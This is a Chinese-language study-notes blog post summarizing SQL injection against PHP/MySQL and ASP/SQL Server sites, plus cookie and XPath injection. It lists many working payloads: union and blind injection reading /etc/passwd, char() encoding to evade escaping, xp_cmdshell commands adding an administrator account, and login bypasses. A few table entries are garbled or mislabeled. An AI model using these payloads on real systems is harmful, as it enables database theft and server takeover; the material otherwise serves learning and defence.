sql注入小结

0.原理及简介

  • sql注入为web系统特有的漏洞.源于php,asp等脚本语言对用户输入数据和解析时的缺陷.如果用户的输入能够影响到脚本中sql命令串的生成,以php语言为例子,在字符串中添加了单引号或#号等转义字符后,能够改变数据库最终执行的sql命令.
  • sql注入的精髓在于构造精妙的注入命令串,分析服务器的反馈,猜测出数据库的每个表的关系,最后彻底攻破数据库.
  • 现在最常见的网站类型组合为:asp+sql server与php+mysql,本小结简要总结一下对这两种网站类型常用的攻击方式.

1.攻击php+mysql网站

  • 首先是几个和注入有关的php配置文件选项,正确配置这些选项可以增加攻击的难度,但并不能解决问题.

|选项| 安全配置|说明|
|— |—|—|
safe_mode | on |安全模式
display_errors| off |是否向客户端返回错误信息
magic_quotes_gpc| on | 自动将变量中的单引号,双引号,反斜线等特殊符号替换为转义字符格式

这些配置并不能从根本上杜绝sql注入攻击.比如在即使magic_quotes_gpc开启的情况下, 攻击者依然可以通过mysql提供的char()和ascii()等函数来使用敏感字符.

  • 联合注入
    由于mysql数据库3.x不支持联合查询但4.x及以上支持联合查询故注入方式可能会有所不同.而利用联合查询往往可以直接使数据返回到某个变量中,从而在网页中显示.
    可以利用

    admin' union select 1#
    admin' union select 1,2#
    admin' union select 1,2,3#
    admin' union select 1,2,3,4....#
    

    以上代码试探脚本中共有多少变量接受数据.当返回页面不再是报错页面时,证明变量的数量刚刚好.接下来观察页面中显示的数字,可以确定能够显示结果的变量位置.
    例如,对于一个存在漏洞的网站,用

    admin' union select 1,2,3,4,5,6,7,8#
    

    若尝试后得到正常返回且有”3″,”5″,”7″三个数字,那么就可以把数据库查询的结果返回到”7″这个位置.

    admin' union select 1,2,3,4,5,6,user,8 from mysql.user
    

    就可以得到该数据库的一些信息.
    利用这种方法只需要构造恰当的sql语句,实际上可以得到数据库的所有信息.
    除了联合查询外,还有一些常用的注入攻击串.(攻击串可以跟在url变量后面)详见下表.

    sql注入攻击测试样例 说明
    admin 判断注入点.正常请求,和下面两个做对比
    admin’ and 1=1# 如果存在注入,和第一个请求应该相同
    admin’ and 1=2# 判断注入点,若存在应和第一二次返回不同
    admin’ or 1=1# 返回所有数据,常用于有搜索功能的页面
    admin’ union select version# 返回数据库版本信息
    admin’ union select database# 返回当前库名
    admin’ union select user()# 返回数据库的用户信息
    admin’ union select session_user()# 返回数据库用户信息
    admin’ union select system_user()# 返回数据库用户信息
    admin’ union select load_file(‘/etc/passwd’)# 读取系统文件
    admin’ selectuser,password from mysql.user# 返回数据库密码信息(大概率为md5值)
  • 但是由于mysql3.x版本不支持联合查询,因此必须盲注,一个字节一个字节的得到数据.盲注可能用到以下的几个mysql函数:
    mid( string , offset , len )
    

    这个api的第一个参数是所要操作的字符串,第二个参数为要截取字符串的偏移位置,第三个参数代表字符串长度.
    当攻击者想要获得etc/hosts文件的内容时,可以从第一个字节开始尝试注入:

    admin' and ascii(mid(load_file('/etc/hosts'),1,1)=1#
    admin' and ascii(mid(load_file('/etc/hosts'),1,1)=2#
    admin' and ascii(mid(load_file('/etc/hosts'),1,1)=3#
                      ..........
    

    若返回正常页面,攻击者也就获得了第一个ASCII码.同理,也可以得到后面的ASCII码得到数据.最多只要实验255次尝试就可以得到一个ASCII.(当然折半查找法会更高效)

  • 最后,当php.ini中的magic_quotes_gpc配置选项被打开时,我们的特殊字符会被自动转换成转义字符(如单引号),但仍然可以通过MySQL提供的char()函数来转换.
    例如:
    admin 'and ascii(mid(load_file('/etc/hosts'),1,1))=1#
    可以转换为
    admin 'and ascii(mid(load_file(char(47,101,116,99,47,104,111,115,116,115),1,1)))=1#

2.攻击asp+sql server

  • sql server不但支持联合查询,而且可以直接使用多语句查询,只要用分号分隔开不同的sql语句即可.虽有个别函数和表名与php+sql不同,但是思路还是大致相似的.下面是常用的注入语句.
sql注入常用语句 说明
admin– 判断是否存在注入点
admin’ and 1=1 — 存在注入点时和第一条返回一样的页面
admin’ and 1=1 — 应和之前两句的页面不同
url;and user>0– user是sql server的一个内置变量,值为当前连接用户名,数据类型为nvarchar.用该类型与int比较会报错,从而暴露出用户的值.
url;and db_name()>0– 获得数据库名.
url;and (select count(*) from sysobjects)>0– sysobjects是Access数据库的类型.判断数据库类型
url;and (select count(*) from msyobjects)>0– sysobjects是sql server数据库的类型.判断数据库类型
admin’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的数量– 测试数据库有多少用户自己建立的表.Xtype=’u’ and status>0表示只检索用户建立的表名.
admin’ and (select Top 1 name from sysobjects where Xtype=’U’ and status>0)>0– 获得第一个表的表名
admin’ and (select top 1 name from sysobjects where Xtype=’u’ and status>0 and name!=’第一个表名’)>0– 通过类似的方法得到其他表的表名
admin’ and (select top 1 colname from (object_id(‘表名’),1)from sysobjects)>0– 获得列名长度
admin’ and (Select Top 1 len(‘列名’) from 表名)>0– 获得列名长度
admn’ (select top 1 asc(mid(列名,1,1)) from 表名)>0– 逐字独处列名的每一个字符,通常用于没有报错返回的盲注
url;exec master..xp_cmdshell “net user 用户名密码/add”– 利用存储过程xp_cmdshell在服务器主机上添加用户
url;exec master..xp_cmdshell “net localgroup administrators 用户名 /add”– 将添加的用户加入管理员组
url;backup database 数据库名 to disk=’路径’;– 利用存储过程将数据库备份到可以通过HTTP访问的目录下,或者也可以通过网络进行远程备份.

3.其他注入方式

  • cookie注入:由于除了post和个get外,cookie也可以提交数据和数据库进行交互,这就给了攻击者可乘之机.
    在asp中,程序员经常会使用下面两句语句来获取用户数据:
ID=Request.QueryString("id")//get方式
ID=Request.From("id")//post方式

许多程序员为了方便可以同时支持get和post两种方式,常常用下面两句”万能”语句:

ID=Request("id")

实际运行中,会首先读取get中的数据,如果get无数据则读取post的数据,没有则读取cookie中的数据.很多防注入系统只会检测get和post的数据是否有敏感字符,而不会防范cookie中的数据.
如果一个网站的地址为

http://www.textsite.com/news.asp?id=169

我们可以先输入以下地址来测试该站点有无sql注入:

http://www.textsite.com/news.asp?id=169 and 1=1

如果网站弹窗提醒不要加入敏感字符,则说明该站点使用了防注入手段.
如果我们在浏览器中只输入:

http://www.textsite.com/news.asp?

这时由于没有向站点提交参数,所以是没有正常返回结果的.我们按F12,打开浏览器控制台输入:

javascript:alert(document.cookie="id="+escape("169"));

回车之后,应该会有弹窗,内容是:id=169.然后点击刷新键,如果此时返回了正常结果,则表示该站点可以cookie提交数据.
然后我们来检测站点是否存在cookie注入漏洞,在浏览器中分别输入以下两句并刷新:

javascript:alert(document.cookie="id="+escape("169 and 1=1"));
javascript:alert(document.cookie="id="+escape("169 and 1=2"));

如果第一条语句执行刷新返回了正常的结果,第二条语句执行没有返回正常的结果,那么该站点就可以通过cookie进行注入.

  • XPath注入:随着xml被越来越多的人应用,xml的数据安全问题也逐渐体现了出来.XPath是xml路径语言,它会通过”引用数据”的方式从xml文档中读取各种信息,并且具有很好的松散输入特性和容错特性.正是由于这种特性,使得攻击者能够在url,表单或其他地方附上精心构造好的XPath查询语句来获得权限.
    在一个系统中,如果登录中使用的是数据库验证,那么检索用户的查询可能是类似于以下这条sql语句:
select * from table_name where user='admin' and psw='123'

sql注入的绕过验证的是用’ or 1=1 来绕过验证的.但是如果存放用户信息的是一个xml文件话又如何?


<users>
    <admin>
        <name>admin</name>
        <password>123</password>
    </admin>
<users>

那么对应的XPath查询语句应为:

//users/admin[name/text()='admin' and password/text()='123']

在XPath语句中,”//”表示选择所有节点,如users/admin表示列举users/admin下的全部节点;中括号里面是谓词.以上这条查询语句的含义为:选择users节点中admin节点下的name属性为’admin’并且password属性为’123’的所有节点.
如果在用户名密码输入框中都输入’or ‘1’=1′,XPath语句变为

//users/admin[name/text()='' or '1'='1' and password/text()='' or '1'='1']

显然中括号谓词为True,所有将选择所有admin用户,用户名密码认证自然被绕过.

4.结语

本文只是记录和梳理本人在学习sql注入的过程中的小小心得,也参照了很多资料.有不足的地方希望各位大佬不吝赐教,共同进步.

Author:Horizon

Date:2019-4-15

发表评论

电子邮件地址不会被公开。 必填项已用*标注